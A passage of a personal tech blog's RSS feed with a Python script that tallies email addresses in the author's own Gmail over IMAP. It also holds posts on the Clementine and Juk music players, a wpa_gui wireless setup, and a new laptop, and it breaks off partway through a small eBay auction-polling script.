	<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> options.<span style="color: black;">username</span>.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">endswith</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;@gmail.com&quot;</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">and</span> <span style="color: #ff7700;font-weight:bold;">not</span> options.<span style="color: black;">username</span>.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">endswith</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;@googlemail.com&quot;</span><span style="color: black;">&#41;</span>:
		options.<span style="color: black;">username</span> += <span style="color: #483d8b;">&quot;@gmail.com&quot;</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> options.<span style="color: black;">cachedir</span> <span style="color: #66cc66;">!</span>= <span style="color: #008000;">None</span> <span style="color: #ff7700;font-weight:bold;">and</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">exists</span><span style="color: black;">&#40;</span>options.<span style="color: black;">cachedir</span><span style="color: black;">&#41;</span>:
		<span style="color: #ff7700;font-weight:bold;">try</span>:
			<span style="color: #dc143c;">os</span>.<span style="color: black;">makedirs</span><span style="color: black;">&#40;</span>options.<span style="color: black;">cachedir</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">except</span>:
			<span style="color: #dc143c;">sys</span>.<span style="color: black;">stderr</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Could not make cache dir. Skipping cache.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
			options.<span style="color: black;">cachedir</span> = <span style="color: #008000;">None</span>
&nbsp;
	imap = IMAP4_SSL<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;imap.gmail.com&quot;</span><span style="color: black;">&#41;</span>
	imap.<span style="color: black;">login</span><span style="color: black;">&#40;</span>options.<span style="color: black;">username</span>, options.<span style="color: black;">password</span><span style="color: black;">&#41;</span>
	imap.<span style="color: #dc143c;">select</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[Gmail]/All Mail&quot;</span>, <span style="color: #008000;">True</span><span style="color: black;">&#41;</span>
	typ, data = imap.<span style="color: black;">search</span><span style="color: black;">&#40;</span><span style="color: #008000;">None</span>, <span style="color: #483d8b;">'ALL'</span><span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> typ <span style="color: #66cc66;">!</span>= <span style="color: #483d8b;">&quot;OK&quot;</span>:
		<span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Could not search properly: %s&quot;</span> <span style="color: #66cc66;">%</span> typ<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
	emailAddresses = <span style="color: black;">&#123;</span><span style="color: black;">&#125;</span>
	data = data<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
	length = <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#41;</span>
	counter = <span style="color: #ff4500;">0</span>
	<span style="color: #dc143c;">parser</span> = HeaderParser<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">for</span> num <span style="color: #ff7700;font-weight:bold;">in</span> data:
		counter += <span style="color: #ff4500;">1</span>
		<span style="color: #ff7700;font-weight:bold;">if</span> options.<span style="color: black;">cachedir</span> <span style="color: #66cc66;">!</span>= <span style="color: #008000;">None</span>:
			cachePath = <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>options.<span style="color: black;">cachedir</span>, num<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">else</span>:
			cachePath = <span style="color: #008000;">None</span>
		<span style="color: #ff7700;font-weight:bold;">if</span> cachePath <span style="color: #66cc66;">!</span>= <span style="color: #008000;">None</span> <span style="color: #ff7700;font-weight:bold;">and</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">exists</span><span style="color: black;">&#40;</span>cachePath<span style="color: black;">&#41;</span>:
			message = <span style="color: #dc143c;">parser</span>.<span style="color: black;">parse</span><span style="color: black;">&#40;</span><span style="color: #008000;">open</span><span style="color: black;">&#40;</span>cachePath, <span style="color: #483d8b;">&quot;r&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">else</span>:
			<span style="color: #ff7700;font-weight:bold;">try</span>:
				typ, data = imap.<span style="color: black;">fetch</span><span style="color: black;">&#40;</span>num, <span style="color: #483d8b;">'(RFC822.HEADER)'</span><span style="color: black;">&#41;</span>
			<span style="color: #ff7700;font-weight:bold;">except</span>:
				<span style="color: #dc143c;">sys</span>.<span style="color: black;">stderr</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Failed to fetch ID %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #66cc66;">%</span> num<span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">continue</span>
			<span style="color: #ff7700;font-weight:bold;">if</span> typ <span style="color: #66cc66;">!</span>= <span style="color: #483d8b;">&quot;OK&quot;</span>:
				<span style="color: #dc143c;">sys</span>.<span style="color: black;">stderr</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Failed to fetch ID %s: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>num, typ<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">continue</span>
			<span style="color: #ff7700;font-weight:bold;">if</span> cachePath <span style="color: #66cc66;">!</span>= <span style="color: #008000;">None</span>:
				<span style="color: #ff7700;font-weight:bold;">try</span>:
					f = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>cachePath, <span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
					f.<span style="color: black;">write</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
					f.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">except</span>:
					<span style="color: #dc143c;">sys</span>.<span style="color: black;">stderr</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Could not write cache for %s&quot;</span> <span style="color: #66cc66;">%</span> num<span style="color: black;">&#41;</span>
			message = <span style="color: #dc143c;">parser</span>.<span style="color: black;">parsestr</span><span style="color: black;">&#40;</span>data<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>, <span style="color: #008000;">True</span><span style="color: black;">&#41;</span>
		tos = message.<span style="color: black;">get_all</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'to'</span>, <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
		ccs = message.<span style="color: black;">get_all</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'cc'</span>, <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
		resent_tos = message.<span style="color: black;">get_all</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'resent-to'</span>, <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
		resent_ccs = message.<span style="color: black;">get_all</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'resent-cc'</span>, <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
		all_recipients = getaddresses<span style="color: black;">&#40;</span>tos + ccs + resent_tos + resent_ccs<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">for</span> address <span style="color: #ff7700;font-weight:bold;">in</span> all_recipients:
			<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>address<span style="color: black;">&#41;</span> == <span style="color: #ff4500;">2</span> <span style="color: #ff7700;font-weight:bold;">and</span> <span style="color: black;">&#40;</span>options.<span style="color: black;">domain</span> == <span style="color: #008000;">None</span> <span style="color: #ff7700;font-weight:bold;">or</span> address<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>.<span style="color: black;">endswith</span><span style="color: black;">&#40;</span>options.<span style="color: black;">domain</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
				to = address<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
				fros = getaddresses<span style="color: black;">&#40;</span>message.<span style="color: black;">get_all</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'from'</span>, <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
				fro_addresses = <span style="color: #008000;">set</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">for</span> addr <span style="color: #ff7700;font-weight:bold;">in</span> fros:
					<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>addr<span style="color: black;">&#41;</span> == <span style="color: #ff4500;">2</span>:
						fro_addresses.<span style="color: black;">add</span><span style="color: black;">&#40;</span>addr<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">if</span> options.<span style="color: black;">mode</span> == <span style="color: #483d8b;">&quot;to&quot;</span> <span style="color: #ff7700;font-weight:bold;">or</span> options.<span style="color: black;">mode</span> == <span style="color: #483d8b;">&quot;tobyfrom&quot;</span>:
					<span style="color: #ff7700;font-weight:bold;">if</span> to <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #ff7700;font-weight:bold;">in</span> emailAddresses:
						emailAddresses<span style="color: black;">&#91;</span>to<span style="color: black;">&#93;</span> = <span style="color: #008000;">set</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
					emailAddresses<span style="color: black;">&#91;</span>to<span style="color: black;">&#93;</span> = emailAddresses<span style="color: black;">&#91;</span>to<span style="color: black;">&#93;</span>.<span style="color: black;">union</span><span style="color: black;">&#40;</span>fro_addresses<span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">elif</span> options.<span style="color: black;">mode</span> == <span style="color: #483d8b;">&quot;from&quot;</span> <span style="color: #ff7700;font-weight:bold;">or</span> options.<span style="color: black;">mode</span> == <span style="color: #483d8b;">&quot;frombyto&quot;</span>:
					<span style="color: #ff7700;font-weight:bold;">for</span> fro <span style="color: #ff7700;font-weight:bold;">in</span> fro_addresses:
						<span style="color: #ff7700;font-weight:bold;">if</span> fro <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #ff7700;font-weight:bold;">in</span> emailAddresses:
							emailAddresses<span style="color: black;">&#91;</span>fro<span style="color: black;">&#93;</span> = <span style="color: #008000;">set</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
						emailAddresses<span style="color: black;">&#91;</span>fro<span style="color: black;">&#93;</span>.<span style="color: black;">add</span><span style="color: black;">&#40;</span>to<span style="color: black;">&#41;</span>
				<span style="color: #dc143c;">sys</span>.<span style="color: black;">stderr</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[%s of %s]: Message to %s from %s.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>counter, length, address<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>, fro_addresses<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>all_recipients<span style="color: black;">&#41;</span> == <span style="color: #ff4500;">0</span>:
			<span style="color: #dc143c;">sys</span>.<span style="color: black;">stderr</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[%s of %s]: Message has empty To header.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>counter, length<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
	imap.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
	imap.<span style="color: black;">logout</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> options.<span style="color: black;">mode</span> == <span style="color: #483d8b;">&quot;to&quot;</span> <span style="color: #ff7700;font-weight:bold;">or</span> options.<span style="color: black;">mode</span> == <span style="color: #483d8b;">&quot;from&quot;</span>:
		<span style="color: #ff7700;font-weight:bold;">for</span> addr <span style="color: #ff7700;font-weight:bold;">in</span> emailAddresses.<span style="color: black;">keys</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
			<span style="color: #ff7700;font-weight:bold;">print</span> addr
	<span style="color: #ff7700;font-weight:bold;">elif</span> options.<span style="color: black;">mode</span> == <span style="color: #483d8b;">&quot;tobyfrom&quot;</span> <span style="color: #ff7700;font-weight:bold;">or</span> options.<span style="color: black;">mode</span> == <span style="color: #483d8b;">&quot;frombyto&quot;</span>:
		<span style="color: #ff7700;font-weight:bold;">for</span> to, fro <span style="color: #ff7700;font-weight:bold;">in</span> emailAddresses.<span style="color: black;">items</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
			<span style="color: #ff7700;font-weight:bold;">print</span> to
			<span style="color: #ff7700;font-weight:bold;">for</span> f <span style="color: #ff7700;font-weight:bold;">in</span> fro:
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>%s&quot;</span> <span style="color: #66cc66;">%</span> f
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
	main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>The situation seems daunting. That is so many email addresses, so many senders, so many website logins to change, so many people who have to update their address books. So what do I do? What will I do? How important is it to switch away from catch-all? I might just be locked in for life.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/261#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=261" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/261/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Clementine: The Player I&#8217;ve Been Looking For</title>
		<link>http://blog.zx2c4.com/257</link>
		<comments>http://blog.zx2c4.com/257#comments</comments>
		<pubDate>Wed, 03 Mar 2010 00:59:55 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Amarok]]></category>
		<category><![CDATA[Clementine]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=257</guid>
		<description><![CDATA[Clementine is a half port half rewrite of Amarok 1.4, with its kdelibs dependencies stripped and all the code updated to use Qt4. Only in its 0.1 version, it works incredibly well. I&#8217;ve been looking for something like this since Juk became crusty and Amarok became too much and Exaile seemed slow and gtkish. Clementine [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/257#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=257" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Clementine is a half port half rewrite of Amarok 1.4, with its kdelibs dependencies stripped and all the code updated to use Qt4. Only in its 0.1 version, it works incredibly well. I&#8217;ve been looking for something like this since Juk became crusty and Amarok became too much and Exaile seemed slow and gtkish. Clementine is my new default player.<br />
<a href="http://code.google.com/p/clementine-player/" onclick="pageTracker._trackPageview('/outgoing/code.google.com/p/clementine-player/?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2010/03/Clementine.png" alt="" title="Clementine" class="aligncenter size-full wp-image-258" /></a><br />
<a href="http://znurt.org/media-sound/clementine" onclick="pageTracker._trackPageview('/outgoing/znurt.org/media-sound/clementine?referer=');">An ebuild</a> is already available for Gentoo.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/257#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=257" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/257/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Wpa_gui is Underrated</title>
		<link>http://blog.zx2c4.com/248</link>
		<comments>http://blog.zx2c4.com/248#comments</comments>
		<pubDate>Mon, 25 Jan 2010 21:29:02 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[NetworkManager]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Wicd]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=248</guid>
		<description><![CDATA[A hot topic in the community is wireless management. There&#8217;s a whole lot of buzz about NetworkManager, Wicd, dbus, frontends, PolicyKit, plasmoids, and the whole modicum of dizzying names and acronyms. Let me tell you about my mobile laptop&#8217;s wifi setup and why it&#8217;s easier and slimmer than any of the classic bloat. I use [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/248#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=248" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>A hot topic in the community is wireless management. There&#8217;s a whole lot of buzz about NetworkManager, Wicd, dbus, frontends, PolicyKit, plasmoids, and the whole modicum of dizzying names and acronyms. Let me tell you about my mobile laptop&#8217;s wifi setup and why it&#8217;s easier and slimmer than any of the classic bloat. </p>
<p>I use wpa_supplicant&#8217;s optional wpa_gui. It&#8217;s a tiny Qt app that has a tray icon and a command line switch to start in the tray. Wpa_supplicant is required for all modern wireless connections and is always running in the background no matter what. Wpa_gui simply connects to wpa_gui&#8217;s socket and tells it what to do. I like having wpa_gui in my system tray so that I can reconfigure wifi networks easily.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">zx2c4<span style="color: #000000; font-weight: bold;">@</span>ZX2C4-Laptop ~ $ <span style="color: #c20cb9; font-weight: bold;">cat</span> ~<span style="color: #000000; font-weight: bold;">/</span>.kde<span style="color: #000000; font-weight: bold;">/</span>Autostart<span style="color: #000000; font-weight: bold;">/</span>wpagui.sh
wpa_gui <span style="color: #660033;">-t</span></pre></div></div>

<p>And check it out:<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/01/wpa_gui_mainscreen.png" alt="" title="Wpa_gui&#039;s Main Screen" width="370" height="442" class="aligncenter size-full wp-image-249" /><br />
A simple, somewhat ugly, but extremely functional info display. I can connect to new networks with a simple double click:<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/01/wpa_gui_scanresults.png" alt="" title="Wpa_gui&#039;s Scan Results" width="460" height="271" class="aligncenter size-full wp-image-250" /><br />
And presto it connects to the wifi network. I can also configure all of the highly advanced encryption profiles that wpa_supplicant supports. All of this is easily accessible in my tray:<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/01/wpa_gui_tray.png" alt="" title="Wpa_gui&#039;s Tray" width="140" height="42" class="aligncenter size-full wp-image-251" /><br />
If I did not want wpa_gui -t running all the time, I could pretty easily make this into a little quick launch plasma button, and it would start up nearly as fast, because wpa_gui is so light weight.</p>
<p>This is how I do wireless. I have never had any trouble, and I can connect to wifi networks anywhere I go with ease. It remembers the connections and the priorities that I assign, and I have not seen any system simpler or easier than this.</p>
<p>For wired networking, netplug calls my ethernet setup scripts when I plug in an ethernet cable. No tinkering required. For my cellphone internet via bluetooth, I run &#8220;pon nokia&#8221; and my ppp chatscript does all the rest. This could easily be tied to a little menu button in my launcher.</p>
<p>I&#8217;m bloat free, <i>and</i> networking dynamically on the go with my laptop does not require any advanced timely tinkering.</p>
<p>Why are you all using NM, wicd, etc instead of good ol&#8217; wpa_gui?</p>
<hr />
<strong>Update, July 12, 2011:</strong> I&#8217;m still going strong with wpa_gui. Did you know there&#8217;s also <a href="http://linux.die.net/man/8/wpa_cli" onclick="pageTracker._trackPageview('/outgoing/linux.die.net/man/8/wpa_cli?referer=');">wpa_cli</a>, which does the same but has an easy command line interface for managing wifi networks. Incredible. Anyway, I no longer use netplug nor any ethernet scripts. I just have plain old dhcpcd running, which monitors eth0 for me like normal. When something is plugged in, it gets everything set. So my network setup is essentially:</p>
<ol>
<li>/usr/sbin/wpa_supplicant -Dwext -iwlan0 -c/etc/wpa_supplicant/wpa_supplicant.conf -B -c/etc/wpa_supplicant/wpa_supplicant.conf</li>
<li>/sbin/dhcpcd -q</li>
</ol>
<p>These are both run by normal init scripts (or systemd or upstart or whatever). Nothing fancy at all.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/248#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=248" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/248/feed</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>Long Live Juk</title>
		<link>http://blog.zx2c4.com/240</link>
		<comments>http://blog.zx2c4.com/240#comments</comments>
		<pubDate>Fri, 18 Dec 2009 02:39:50 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Amarok]]></category>
		<category><![CDATA[Juk]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=240</guid>
		<description><![CDATA[When I first started using Linux way back when, I had only MP3s, and Juk was the perfect simple interface for me. Then I started to acquire a good amount of AACs and seeing that m4a support was a long way from taglib, I was forced to switch to Amarok. For a while I bathed [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/240#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=240" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>When I first started using Linux way back when, I had only MP3s, and Juk was the perfect simple interface for me. Then I started to acquire a good amount of AACs and seeing that m4a support was a long way from taglib, I was forced to switch to Amarok. For a while I bathed in Amarok&#8217;s advanced feature set, but at the end of the day, I always longed for my simple Juk interface. For a while I even used <a href="http://code.google.com/p/gogglesmm/" onclick="pageTracker._trackPageview('/outgoing/code.google.com/p/gogglesmm/?referer=');">GogglesMM</a>, which is a wonderful project written in FOX. But alas FOX was ugly and didn&#8217;t integrate with Qt/KDE, so I&#8217;ve stayed with Amarok. <b>But finally</b> in the latest KDE SC beta, Juk supports AAC, corresponding with taglib 1.6&#8242;s optional addition! Everyone admire:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/12/longlivejuk.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/12/longlivejuk-450x303.png" alt="Long Live Juk!" title="Long Live Juk!" width="450" height="303" class="aligncenter size-medium wp-image-241" /></a><br />
It&#8217;s pretty and works well. I haven&#8217;t tried it out tons yet, but so far as I can tell, Juk does almost exactly what I want a music manager to do for me, or what I wanted it to do for me when I was 14 years old.</p>
<p>The system tray has issues, there&#8217;s no support for the disc number, there are some issues with the search filter and multiple fields, I haven&#8217;t tested the file renaming capabilities, collection scanning is odd, it still relies on Qt3Support, there is no shortcut handler for scrolling to the current track, and it&#8217;s got a lot of unfortunate tiny quirks. But all of this is to be expected of software that&#8217;s been basically forgotten about since KDE 3.4.</p>
<p>So after exams are over, I&#8217;m going to start investigating Juk&#8217;s codebase and seeing if it&#8217;s worth it to  whip this great player into shape for the prime. It looks promising so far, though I haven&#8217;t tested it very completely yet.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/240#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=240" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/240/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>New Laptop for the First Time Since 2001</title>
		<link>http://blog.zx2c4.com/230</link>
		<comments>http://blog.zx2c4.com/230#comments</comments>
		<pubDate>Sun, 13 Dec 2009 06:20:24 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ATI]]></category>
		<category><![CDATA[Dell]]></category>
		<category><![CDATA[eBay]]></category>
		<category><![CDATA[Gentoo]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=230</guid>
		<description><![CDATA[Middle School The last time I bought a laptop for myself was in 7th grade, 2001. I was 13 and I used all my savings to buy a $3,700 Dell Inspiron 8100 running a Pentium 3 processor with a whopping 512mb of ram, a 64mb graphics card, and a gigantic 60gb hard drive. What an [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/230#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=230" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<h3>Middle School</h3>
<p>The last time I <i>bought</i> a laptop for myself was in 7th grade, 2001. I was 13 and I used all my savings to buy a $3,700 Dell Inspiron 8100 running a Pentium 3 processor with a whopping 512mb of ram, a 64mb graphics card, and a gigantic 60gb hard drive. What an incredible machine this was.</p>
<h3>eBay</h3>
<p>Finally it&#8217;s time I buy myself a new computer. I recently acquired an Alienware M17x that&#8217;s pretty high end, but I&#8217;m not a gamer, so I&#8217;m <a href="http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&#038;item=230409562381" onclick="pageTracker._trackPageview('/outgoing/cgi.ebay.com/ws/eBayISAPI.dll?ViewItem_038_item=230409562381&amp;referer=');">selling it on eBay</a> and am going to use the cash to finance the purchase of a brand new Dell Studio 1747. This was my first time selling something big on eBay, and at first I screwed up quite a bit &#8212; I listed it at $2,200, which is the price I want in the end for it. No one bid (except for a Romanian scammer offering me $3,500), and a friend of mine convinced me to list it at $0.01 &#8211; one penny &#8211; with no reserve price, and let the market determine its value. I was weary, but so far the auction has gotten to $1,500, which I&#8217;m pretty pleased with. eBay is addictive though &#8212; I constantly monitor the auction to see how much I&#8217;m going to be receiving. It&#8217;s taken me over; it&#8217;s awful. I must never play the stock market for this reason. To satisfy my obsession with the bidding, I&#8217;ve hacked together in a minute a short python script running in screen that sends me a text message every time the bid increases:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">urllib2</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span>
last = <span style="color: #ff4500;">0</span>
<span style="color: #ff7700;font-weight:bold;">while</span> <span style="color: #008000;">True</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Checking auction at %s:&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: #dc143c;">time</span>.<span style="color: black;">asctime</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>,
        page = <span style="color: #dc143c;">urllib2</span>.<span style="color: black;">urlopen</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=230409562381&quot;</span><span style="color: black;">&#41;</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        index = page.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;US $&quot;</span><span style="color: black;">&#41;</span> + <span style="color: #ff4500;">4</span>
        now = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>page<span style="color: black;">&#91;</span>index:page.<span style="color: black;">find</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;.&quot;</span>, index<span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>.<span style="color: black;">replace</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;,&quot;</span>, <span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">print</span> now
        <span style="color: #ff7700;font-weight:bold;">if</span> now <span style="color: #66cc66;">&gt;</span> last:
